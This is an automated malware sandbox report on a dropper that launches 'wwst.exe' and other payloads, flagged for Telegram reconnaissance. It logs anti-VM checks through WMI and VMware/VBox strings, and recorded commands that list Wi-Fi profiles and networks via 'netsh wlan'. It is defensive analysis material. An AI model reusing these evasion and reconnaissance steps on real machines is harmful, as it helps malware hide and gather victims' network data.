Source: 3ZCSmfAvnf.exe, 00000000.00000002.573444310.0000000002A01000.00000004.00000800.00020000.00000000.sdmp, 3ZCSmfAvnf.exe, 00000000.00000002.580547770.0000000012AC4000.00000004.00000800.00020000.00000000.sdmp, WindowsDataC.exe, 00000001.00000002.579905238.0000000012877000.00000004.00000800.00020000.00000000.sdmp, WindowsDataC.exe, 00000001.00000002.594217728.000000001B4CD000.00000004.08000000.00040000.00000000.sdmp, wwst.exe, 00000003.00000000.312683100.00000000006D2000.00000002.00000001.01000000.0000000A.sdmp, WindowsDataC.exe, 00000005.00000002.579786709.0000000012FDC000.00000004.00000800.00020000.00000000.sdmp, wwst.exe.0.dr

Binary or memory string: SBIEDLL.DLL

Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)

Source: C:\Users\user\AppData\Local\Temp\wwst.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_VideoController
Source: C:\Users\user\AppData\Local\Temp\wwst.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_VideoController
Source: C:\Users\user\AppData\Local\Temp\wwst.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_VideoController
Source: C:\Users\user\AppData\Local\Temp\wwst.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_VideoController
Source: C:\Users\user\AppData\Local\Temp\wwst.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_VideoController
Source: C:\Users\user\AppData\Local\Temp\wwst.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_VideoController

Queries sensitive Plug and Play Device Information (via WMI, Win32_PnPEntity, often done to detect virtual machines)

Source: C:\Users\user\AppData\Local\Temp\wwst.exe

WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')

Source: C:\Users\user\AppData\Local\Temp\wwst.exe TID: 4396	Thread sleep time: -3689348814741908s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\wwst.exe TID: 4396	Thread sleep time: -200000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\wwst.exe TID: 4040	Thread sleep count: 1992 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\wwst.exe TID: 4396	Thread sleep time: -99866s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\wwst.exe TID: 4396	Thread sleep time: -99745s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\wwst.exe TID: 4396	Thread sleep time: -99803s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\wwst.exe TID: 4396	Thread sleep time: -99687s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\wwst.exe TID: 4396	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\wwst.exe	Last function: Thread delayed
Source: C:\Users\user\AppData\Local\Temp\wwst.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Users\user\AppData\Local\Temp\wwst.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\wwst.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\wwst.exe

Window / User API: threadDelayed 1992

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\wwst.exe

WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * From Win32_ComputerSystem

Source: C:\Users\user\AppData\Local\Temp\wwst.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Local\Temp\wwst.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Local\Temp\wwst.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Local\Temp\wwst.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Local\Temp\wwst.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Local\Temp\wwst.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Local\Temp\wwst.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select ProcessorId From Win32_processor

Source: C:\Users\user\AppData\Local\Temp\wwst.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\wwst.exe	Thread delayed: delay time: 100000	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\wwst.exe	Thread delayed: delay time: 99866	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\wwst.exe	Thread delayed: delay time: 99745	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\wwst.exe	Thread delayed: delay time: 99803	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\wwst.exe	Thread delayed: delay time: 99687	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\wwst.exe	Thread delayed: delay time: 922337203685477	Jump to behavior

Source: wwst.exe, 00000003.00000003.401755409.00000000051C8000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMware
Source: wwst.exe, 00000003.00000002.605014203.00000000050F3000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Win32_VideoController(Standard display types)VMware274G96ZCWin32_VideoControllerER6NBEMSVideoController120060621000000.000000-00026824819display.infMSBDAG13ZBYR4PCI\VEN_15AD&DEV_0405&SUBSYS_040515AD&REV_00\3&61AAA01&0&78OKWin32_Comp
Source: wwst.exe.0.dr	Binary or memory string: vmware
Source: wwst.exe, 00000003.00000002.570767012.0000000000C92000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dllIIG
Source: wwst.exe.0.dr	Binary or memory string: VMwareVBox
Source: 3ZCSmfAvnf.exe, 00000000.00000002.607764585.000000001CAAE000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: -b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#5&280b647&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
Source: wwst.exe, 00000003.00000003.401755409.00000000051C8000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Win32_VideoController(Standard display types)VMware274G96ZCWin32_VideoControllerER6NBEMSVideoController120060621000000.000000-00026824819display.infMSBDAG13ZBYR4PCI\VEN_15AD&DEV_0405&SUBSYS_040515AD&REV_00\3&61AAA01&0&78OKWin32_ComputerSystemcomputer1280 x 1024 x 4294967296 colorsUC5K7FA_
Source: wwst.exe, 00000003.00000003.401755409.00000000051C8000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Win32_VideoController(Standard display types)VMware274G96ZCWin32_VideoControllerER6NBEMSVideoController120060621000000.000000-00026824819display.infMSBDAG13ZBYR4PCI\VEN_15AD&DEV_0405&SUBSYS_040515AD&REV_00\3&61AAA01&0&78OKWin32_ComputerSystemcomputer1280 x 1024 x 4294967296 colorsUC5K7FA_l

Source: C:\Users\user\AppData\Local\Temp\wwst.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\wwst.exe

File Volume queried: C:\ FullSizeInformation

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\wwst.exe

Process token adjusted: Debug

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\wwst.exe

Code function: 3_2_05007B98 LdrInitializeThunk,

3_2_05007B98

Source: C:\Users\user\Desktop\3ZCSmfAvnf.exe

Memory allocated: page read and write | page guard

Jump to behavior

Source: C:\Users\user\Desktop\3ZCSmfAvnf.exe	Process created: C:\ProgramData\WindowsDataC.exe "C:\ProgramData\WindowsDataC.exe"	Jump to behavior
Source: C:\Users\user\Desktop\3ZCSmfAvnf.exe	Process created: C:\Users\user\AppData\Local\Temp\wwst.exe "C:\Users\user\AppData\Local\Temp\wwst.exe"	Jump to behavior
Source: C:\Users\user\Desktop\3ZCSmfAvnf.exe	Process created: C:\Users\user\AppData\Local\Temp\RunIt.exe "C:\Users\user\AppData\Local\Temp\RunIt.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\wwst.exe	Process created: C:\Windows\SysWOW64\cmd.exe "cmd.exe" /C chcp 65001 && netsh wlan show profile \| findstr All	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\wwst.exe	Process created: C:\Windows\SysWOW64\cmd.exe "cmd.exe" /C chcp 65001 && netsh wlan show networks mode=bssid	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\chcp.com chcp 65001
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\netsh.exe netsh wlan show profile
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\findstr.exe findstr All
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\chcp.com chcp 65001
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\netsh.exe netsh wlan show networks mode=bssid

Language, Device and Operating System Detection

Yara detected Telegram Recon

Source: Yara match

File source: C:\Users\user\AppData\Local\Temp\wwst.exe, type: DROPPED

Source: C:\Users\user\Desktop\3ZCSmfAvnf.exe	Queries volume information: C:\Users\user\Desktop\3ZCSmfAvnf.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\3ZCSmfAvnf.exe	Queries volume information: C:\Windows\Fonts\arial.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\3ZCSmfAvnf.exe	Queries volume information: C:\Windows\Fonts\ariali.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\3ZCSmfAvnf.exe	Queries volume information: C:\Windows\Fonts\arialbd.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\3ZCSmfAvnf.exe	Queries volume information: C:\Windows\Fonts\arialbi.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\3ZCSmfAvnf.exe	Queries volume information: C:\Windows\Fonts\ARIALN.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\3ZCSmfAvnf.exe	Queries volume information: C:\Windows\Fonts\ariblk.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\3ZCSmfAvnf.exe	Queries volume information: C:\Windows\Fonts\ARIALNI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\3ZCSmfAvnf.exe	Queries volume information: C:\Windows\Fonts\ARIALNB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\3ZCSmfAvnf.exe	Queries volume information: C:\Windows\Fonts\ARIALNBI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\3ZCSmfAvnf.exe	Queries volume information: C:\Windows\Fonts\bahnschrift.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\3ZCSmfAvnf.exe	Queries volume information: C:\Windows\Fonts\calibri.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\3ZCSmfAvnf.exe	Queries volume information: C:\Windows\Fonts\calibril.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\3ZCSmfAvnf.exe	Queries volume information: C:\Windows\Fonts\calibrii.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\3ZCSmfAvnf.exe	Queries volume information: C:\Windows\Fonts\calibrili.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\3ZCSmfAvnf.exe	Queries volume information: C:\Windows\Fonts\calibrib.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\3ZCSmfAvnf.exe	Queries volume information: C:\Windows\Fonts\calibriz.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\3ZCSmfAvnf.exe	Queries volume information: C:\Windows\Fonts\cambria.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\3ZCSmfAvnf.exe	Queries volume information: C:\Windows\Fonts\cambriai.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\3ZCSmfAvnf.exe	Queries volume information: C:\Windows\Fonts\cambriab.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\3ZCSmfAvnf.exe	Queries volume information: C:\Windows\Fonts\cambriaz.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\3ZCSmfAvnf.exe	Queries volume information: C:\Windows\Fonts\Candara.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\3ZCSmfAvnf.exe	Queries volume information: C:\Windows\Fonts\Candarai.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\3ZCSmfAvnf.exe	Queries volume information: C:\Windows\Fonts\Candarab.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\3ZCSmfAvnf.exe	Queries volume information: C:\Windows\Fonts\Candaraz.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\3ZCSmfAvnf.exe	Queries volume information: C:\Windows\Fonts\comic.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\3ZCSmfAvnf.exe	Queries volume information: C:\Windows\Fonts\comici.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\3ZCSmfAvnf.exe	Queries volume information: C:\Windows\Fonts\comicbd.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\3ZCSmfAvnf.exe	Queries volume information: C:\Windows\Fonts\comicz.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\3ZCSmfAvnf.exe	Queries volume information: C:\Windows\Fonts\consola.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\3ZCSmfAvnf.exe	Queries volume information: C:\Windows\Fonts\consolai.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\3ZCSmfAvnf.exe	Queries volume information: C:\Windows\Fonts\consolab.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\3ZCSmfAvnf.exe	Queries volume information: C:\Windows\Fonts\consolaz.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\3ZCSmfAvnf.exe	Queries volume information: C:\Windows\Fonts\constan.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\3ZCSmfAvnf.exe	Queries volume information: C:\Windows\Fonts\constani.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\3ZCSmfAvnf.exe	Queries volume information: C:\Windows\Fonts\constanb.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\3ZCSmfAvnf.exe	Queries volume information: C:\Windows\Fonts\constanz.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\3ZCSmfAvnf.exe	Queries volume information: C:\Windows\Fonts\corbel.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\3ZCSmfAvnf.exe	Queries volume information: C:\Windows\Fonts\corbeli.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\3ZCSmfAvnf.exe	Queries volume information: C:\Windows\Fonts\corbelb.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\3ZCSmfAvnf.exe	Queries volume information: C:\Windows\Fonts\corbelz.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\3ZCSmfAvnf.exe	Queries volume information: C:\Windows\Fonts\cour.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\3ZCSmfAvnf.exe	Queries volume information: C:\Windows\Fonts\couri.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\3ZCSmfAvnf.exe	Queries volume information: C:\Windows\Fonts\courbd.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\3ZCSmfAvnf.exe	Queries volume information: C:\Windows\Fonts\courbi.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\3ZCSmfAvnf.exe	Queries volume information: C:\Windows\Fonts\ebrima.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\3ZCSmfAvnf.exe	Queries volume information: C:\Windows\Fonts\ebrimabd.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\3ZCSmfAvnf.exe	Queries volume information: C:\Windows\Fonts\framd.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\3ZCSmfAvnf.exe	Queries volume information: C:\Windows\Fonts\FRADM.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\3ZCSmfAvnf.exe	Queries volume information: C:\Windows\Fonts\framdit.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\3ZCSmfAvnf.exe	Queries volume information: C:\Windows\Fonts\FRADMIT.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\3ZCSmfAvnf.exe	Queries volume information: C:\Windows\Fonts\FRAMDCN.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\3ZCSmfAvnf.exe	Queries volume information: C:\Windows\Fonts\FRADMCN.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\3ZCSmfAvnf.exe	Queries volume information: C:\Windows\Fonts\FRAHV.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\3ZCSmfAvnf.exe	Queries volume information: C:\Windows\Fonts\FRAHVIT.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\3ZCSmfAvnf.exe	Queries volume information: C:\Windows\Fonts\Gabriola.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\3ZCSmfAvnf.exe	Queries volume information: C:\Windows\Fonts\gadugi.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\3ZCSmfAvnf.exe	Queries volume information: C:\Windows\Fonts\gadugib.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\3ZCSmfAvnf.exe	Queries volume information: C:\Windows\Fonts\georgia.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\3ZCSmfAvnf.exe	Queries volume information: C:\Windows\Fonts\georgiai.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\3ZCSmfAvnf.exe	Queries volume information: C:\Windows\Fonts\georgiab.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\3ZCSmfAvnf.exe	Queries volume information: C:\Windows\Fonts\georgiaz.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\3ZCSmfAvnf.exe	Queries volume information: C:\Windows\Fonts\impact.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\3ZCSmfAvnf.exe	Queries volume information: C:\Windows\Fonts\Inkfree.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\3ZCSmfAvnf.exe	Queries volume information: C:\Windows\Fonts\javatext.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\3ZCSmfAvnf.exe	Queries volume information: C:\Windows\Fonts\LeelawUI.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\3ZCSmfAvnf.exe	Queries volume information: C:\Windows\Fonts\LeelUIsl.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\3ZCSmfAvnf.exe	Queries volume information: C:\Windows\Fonts\LeelaUIb.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\3ZCSmfAvnf.exe	Queries volume information: C:\Windows\Fonts\lucon.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\3ZCSmfAvnf.exe	Queries volume information: C:\Windows\Fonts\l_10646.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\3ZCSmfAvnf.exe	Queries volume information: C:\Windows\Fonts\malgun.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\3ZCSmfAvnf.exe	Queries volume information: C:\Windows\Fonts\malgunsl.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\3ZCSmfAvnf.exe	Queries volume information: C:\Windows\Fonts\malgunbd.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\3ZCSmfAvnf.exe	Queries volume information: C:\Windows\Fonts\himalaya.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\3ZCSmfAvnf.exe	Queries volume information: C:\Windows\Fonts\msjh.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\3ZCSmfAvnf.exe	Queries volume information: C:\Windows\Fonts\msjhl.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\3ZCSmfAvnf.exe	Queries volume information: C:\Windows\Fonts\msjhbd.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\3ZCSmfAvnf.exe	Queries volume information: C:\Windows\Fonts\ntailu.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\3ZCSmfAvnf.exe	Queries volume information: C:\Windows\Fonts\ntailub.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\3ZCSmfAvnf.exe	Queries volume information: C:\Windows\Fonts\phagspa.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\3ZCSmfAvnf.exe	Queries volume information: C:\Windows\Fonts\phagspab.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\3ZCSmfAvnf.exe	Queries volume information: C:\Windows\Fonts\micross.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\3ZCSmfAvnf.exe	Queries volume information: C:\Windows\Fonts\taile.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\3ZCSmfAvnf.exe	Queries volume information: C:\Windows\Fonts\taileb.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\3ZCSmfAvnf.exe	Queries volume information: C:\Windows\Fonts\msyh.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\3ZCSmfAvnf.exe	Queries volume information: C:\Windows\Fonts\msyhl.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\3ZCSmfAvnf.exe	Queries volume information: C:\Windows\Fonts\msyhbd.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\3ZCSmfAvnf.exe	Queries volume information: C:\Windows\Fonts\msyi.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\3ZCSmfAvnf.exe	Queries volume information: C:\Windows\Fonts\mingliub.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\3ZCSmfAvnf.exe	Queries volume information: C:\Windows\Fonts\monbaiti.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\3ZCSmfAvnf.exe	Queries volume information: C:\Windows\Fonts\msgothic.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\3ZCSmfAvnf.exe	Queries volume information: C:\Windows\Fonts\mvboli.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\3ZCSmfAvnf.exe	Queries volume information: C:\Windows\Fonts\mmrtext.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\3ZCSmfAvnf.exe	Queries volume information: C:\Windows\Fonts\mmrtextb.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\3ZCSmfAvnf.exe	Queries volume information: C:\Windows\Fonts\Nirmala.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\3ZCSmfAvnf.exe	Queries volume information: C:\Windows\Fonts\NirmalaS.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\3ZCSmfAvnf.exe	Queries volume information: C:\Windows\Fonts\NirmalaB.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\3ZCSmfAvnf.exe	Queries volume information: C:\Windows\Fonts\pala.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\3ZCSmfAvnf.exe	Queries volume information: C:\Windows\Fonts\palai.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\3ZCSmfAvnf.exe	Queries volume information: C:\Windows\Fonts\palab.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\3ZCSmfAvnf.exe	Queries volume information: C:\Windows\Fonts\palabi.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\3ZCSmfAvnf.exe	Queries volume information: C:\Windows\Fonts\segoepr.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\3ZCSmfAvnf.exe	Queries volume information: C:\Windows\Fonts\segoeprb.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\3ZCSmfAvnf.exe	Queries volume information: C:\Windows\Fonts\segoesc.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\3ZCSmfAvnf.exe	Queries volume information: C:\Windows\Fonts\segoescb.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\3ZCSmfAvnf.exe	Queries volume information: C:\Windows\Fonts\seguisb.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\3ZCSmfAvnf.exe	Queries volume information: C:\Windows\Fonts\segoeuii.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\3ZCSmfAvnf.exe	Queries volume information: C:\Windows\Fonts\seguisli.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\3ZCSmfAvnf.exe	Queries volume information: C:\Windows\Fonts\seguili.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\3ZCSmfAvnf.exe	Queries volume information: C:\Windows\Fonts\seguisbi.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\3ZCSmfAvnf.exe	Queries volume information: C:\Windows\Fonts\segoeuiz.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\3ZCSmfAvnf.exe	Queries volume information: C:\Windows\Fonts\seguibl.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\3ZCSmfAvnf.exe	Queries volume information: C:\Windows\Fonts\seguibli.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\3ZCSmfAvnf.exe	Queries volume information: C:\Windows\Fonts\seguiemj.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\3ZCSmfAvnf.exe	Queries volume information: C:\Windows\Fonts\seguihis.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\3ZCSmfAvnf.exe	Queries volume information: C:\Windows\Fonts\seguisym.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\3ZCSmfAvnf.exe	Queries volume information: C:\Windows\Fonts\simsun.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\3ZCSmfAvnf.exe	Queries volume information: C:\Windows\Fonts\simsunb.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\3ZCSmfAvnf.exe	Queries volume information: C:\Windows\Fonts\Sitka.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\3ZCSmfAvnf.exe	Queries volume information: C:\Windows\Fonts\SitkaI.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\3ZCSmfAvnf.exe	Queries volume information: C:\Windows\Fonts\SitkaB.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\3ZCSmfAvnf.exe	Queries volume information: C:\Windows\Fonts\SitkaZ.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\3ZCSmfAvnf.exe	Queries volume information: C:\Windows\Fonts\sylfaen.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\3ZCSmfAvnf.exe	Queries volume information: C:\Windows\Fonts\symbol.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\3ZCSmfAvnf.exe	Queries volume information: C:\Windows\Fonts\tahoma.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\3ZCSmfAvnf.exe	Queries volume information: C:\Windows\Fonts\tahomabd.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\3ZCSmfAvnf.exe	Queries volume information: C:\Windows\Fonts\timesi.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\3ZCSmfAvnf.exe	Queries volume information: C:\Windows\Fonts\timesbd.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\3ZCSmfAvnf.exe	Queries volume information: C:\Windows\Fonts\timesbi.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\3ZCSmfAvnf.exe	Queries volume information: C:\Windows\Fonts\trebuc.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\3ZCSmfAvnf.exe	Queries volume information: C:\Windows\Fonts\trebucit.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\3ZCSmfAvnf.exe	Queries volume information: C:\Windows\Fonts\trebucbd.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\3ZCSmfAvnf.exe	Queries volume information: C:\Windows\Fonts\trebucbi.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\3ZCSmfAvnf.exe	Queries volume information: C:\Windows\Fonts\verdana.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\3ZCSmfAvnf.exe	Queries volume information: C:\Windows\Fonts\verdanai.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\3ZCSmfAvnf.exe	Queries volume information: C:\Windows\Fonts\verdanab.ttf VolumeInformation	Jump to behavior
